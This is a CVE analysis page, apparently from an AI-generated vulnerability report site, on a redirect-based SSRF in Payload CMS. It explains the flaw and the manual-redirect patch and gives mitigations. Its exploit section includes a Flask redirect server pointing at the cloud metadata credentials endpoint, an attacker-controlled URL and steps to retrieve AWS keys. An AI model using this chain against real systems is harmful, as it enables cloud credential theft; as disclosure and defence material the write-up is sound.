CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27567
6.50.04%

Payload CMS: When 'Safe' URLs Take a Detour (CVE-2026-27567)

Alon Barad
Alon Barad
Software Engineer

Feb 25, 2026·6 min read·6 visits

PoC Available

Executive Summary (TL;DR)

Authenticated SSRF in Payload CMS < 3.75.0 via the 'Upload from URL' feature. The application validated the initial URL but automatically followed HTTP redirects (302) to restricted internal targets (like 169.254.169.254). Fixed by implementing manual redirect handling.

Payload CMS, a darling of the headless CMS world, recently patched a Server-Side Request Forgery (SSRF) vulnerability that perfectly illustrates why trusting HTTP clients to 'do the right thing' is a dangerous game. The flaw lay in the 'Upload from URL' feature—a convenient tool for content editors that inadvertently became a proxy for attackers to tour the internal network. While the system diligently checked the initial URL for safety, it failed to account for the HTTP client's enthusiasm for following redirects. This allowed authenticated attackers to bypass allowlists and access local services or cloud metadata by simply bouncing the request through a malicious server.

The Hook: The Trojan Horse in the URL Bar

Modern Content Management Systems (CMS) are expected to be more than just text editors; they are media hubs. Payload CMS is no exception, offering a slick 'Upload from URL' feature. This allows an editor to paste a link to an image hosted elsewhere, and the server dutifully fetches it, processes it, and stores it. It's a standard feature, but from a security perspective, it's a loaded gun.

Functionally, this turns the CMS server into a proxy. If I tell the server to fetch http://google.com/logo.png, it acts on my behalf. The security risk here is obvious: what if I tell it to fetch http://localhost:27017 (MongoDB) or http://169.254.169.254 (AWS Metadata)?

Payload's developers aren't amateurs; they knew this. They implemented checks to ensure the user-provided URL didn't point to private IP ranges. They checked the ID at the door. The problem, as is often the case in SSRF vulnerabilities, wasn't the front door—it was the side entrance that the HTTP client happily opened automatically.

The Flaw: The Polite HTTP Client

The vulnerability stems from a classic disconnect between application logic and library behavior. The getExternalFile.ts utility was responsible for vetting the URL. It would take the user input, run it through an allowlist or a 'safe fetch' validator (checking for private IPs), and if it passed, it handed the URL off to the HTTP client (likely undici or the native Node.js fetch).

Here lies the logic error: Time-of-Check to Time-of-Use (TOCTOU) via protocol behavior. The validation happened once on the initial input. However, standard HTTP clients are designed to be helpful. When they receive a 301 Moved Permanently or 302 Found response, they automatically follow the Location header to the new destination.

Crucially, the HTTP client does not call back to the application logic to ask, "Hey, this new URL points to 127.0.0.1, is that cool?" It just goes there. The application validated the request to attacker.com, but the actual HTTP transaction ended up hitting localhost. The validation logic was effectively bypassed because it only vetted the ticket, not the destination of the train.

The Code: Anatomy of a Patch

The fix provided in commit 1041bb6 is a textbook example of how to handle untrusted URLs correctly in a backend environment. The developers couldn't just rely on the default fetch behavior anymore.

The Vulnerable Logic (Conceptual):

// Pseudocode of the failure pattern
if (isSafe(url)) {
  // The client follows redirects automatically by default
  const response = await fetch(url);
  saveFile(response);
}

The Hardened Logic:

The patch introduces manual redirect handling. Instead of letting fetch drive, the code now explicitly grabs the wheel. It sets redirect: 'manual' and implements a loop to process hops one by one.

// Simplified representation of the fix
let currentUrl = initialUrl;
let response;
const maxRedirects = 3;
 
for (let i = 0; i <= maxRedirects; i++) {
  // 1. Validate the CURRENT url before every single hop
  if (!isSafe(currentUrl)) {
    throw new Error('Forbidden URL');
  }
 
  // 2. Fetch with manual redirect handling
  response = await fetch(currentUrl, { redirect: 'manual' });
 
  // 3. Check if we are done or need to follow a redirect
  if (response.status >= 300 && response.status < 400) {
    const location = response.headers.get('location');
    // Construct new URL and loop again to validate it
    currentUrl = new URL(location, currentUrl).toString();
    continue;
  }
 
  break; // Not a redirect, we are done
}

This approach ensures that every link in the chain is subjected to the same security scrutiny as the first one. It effectively kills the redirect bypass technique.

The Exploit: Serving Up a 302 Special

Exploiting this requires an authenticated account with permission to create items in a collection that has uploads enabled. Once inside, the attack chain is trivial but effective.

Step 1: The Setup

We need a malicious server that acts as a pivot. A simple Python Flask script will do the job:

from flask import Flask, redirect
app = Flask(__name__)
 
@app.route('/image.png')
def malicious_redirect():
    # Redirect the backend to its own metadata service
    return redirect("http://169.254.169.254/latest/meta-data/iam/security-credentials/", code=302)
 
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Step 2: The Trigger

  1. Log into the Payload CMS admin panel.
  2. Navigate to the 'Media' (or equivalent) collection.
  3. Select "Upload from URL".
  4. Enter our malicious URL: http://attacker-controlled.com/image.png.

Step 3: Execution

Payload's server sees attacker-controlled.com. It checks the IP. It's a public IP. Access granted. The server connects to our Python script. Our script replies: "Go to 169.254.169.254." The Payload server, running the vulnerable code, obediently follows the redirect to the AWS metadata service. It downloads the JSON response containing IAM credentials and saves it as image.png.

Step 4: The Loot

We simply download the "image" from the CMS. Opening it in a text editor reveals the AWS keys. Game over.

The Impact: Why Should We Panic?

While this vulnerability scores a 'Medium' (6.5) on CVSS because it requires authentication, do not let that lull you into a false sense of security. In many organizations, 'Content Editor' accounts are widely distributed and less protected than 'Admin' accounts.

Cloud Compromise: If the CMS is hosted on AWS, GCP, or Azure, this SSRF is a direct path to the Instance Metadata Service (IMDS). Unless IMDSv2 (which requires session tokens) is strictly enforced, an attacker can steal temporary credentials and escalate privileges into the cloud environment.

Internal Reconnaissance: The attacker can use the CMS to port scan the internal network. By timing how long the server takes to respond (or fail), they can map out internal services—identifying Redis instances, databases, or internal admin panels that were never meant to see the internet.

Data Exfiltration: If there are unprotected internal APIs (e.g., an Elasticsearch cluster with no auth on port 9200), the attacker can query them and download sensitive organizational data, all masquerading as valid file uploads.

The Fix: Closing the Loop

The remediation is straightforward: Update to Payload CMS v3.75.0 immediately. The patch introduces the manual redirect handling logic discussed above.

If you cannot patch right now, you must disable the feature vector. You can disable external file uploads in your collection configuration:

// payload.config.ts
export const MediaCollection = {
  slug: 'media',
  upload: {
    // This kills the feature, but also kills the vulnerability
    disableExternalFile: true,
  },
}

Additionally, this is a stark reminder to implement Defense in Depth. Your application servers should not have unrestricted outbound network access. Use egress filtering (firewalls) to block your application servers from talking to private IP ranges (RFC 1918) and cloud metadata IPs (169.254.169.254) unless explicitly required.

Official Patches

Payload CMSCommit implementing manual redirect handling

Fix Analysis (1)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Payload CMS

Affected Versions Detail

Product
Affected Versions
Fixed Version
Payload CMS
Payload
< 3.75.03.75.0
AttributeDetail
CWE IDCWE-918
Attack VectorNetwork
CVSS Score6.5 (Medium)
ImpactConfidentiality, Integrity
PermissionsAuthenticated (Create Access)
StatusPatched

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1552Unsecured Credentials
Credential Access
T1005Data from Local System
Collection
CWE-918
Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) occurs when a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination.

Known Exploits & Detection

GitHub Security AdvisoryOfficial advisory containing reproduction steps and patch details.

Vulnerability Timeline

Patch committed to main branch
2026-02-03
GHSA Advisory Published
2026-02-24
Fixed version 3.75.0 Released
2026-02-24

References & Sources

  • [1]GHSA-hhfx-5x8j-f5f6
  • [2]Payload v3.75.0 Release Notes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.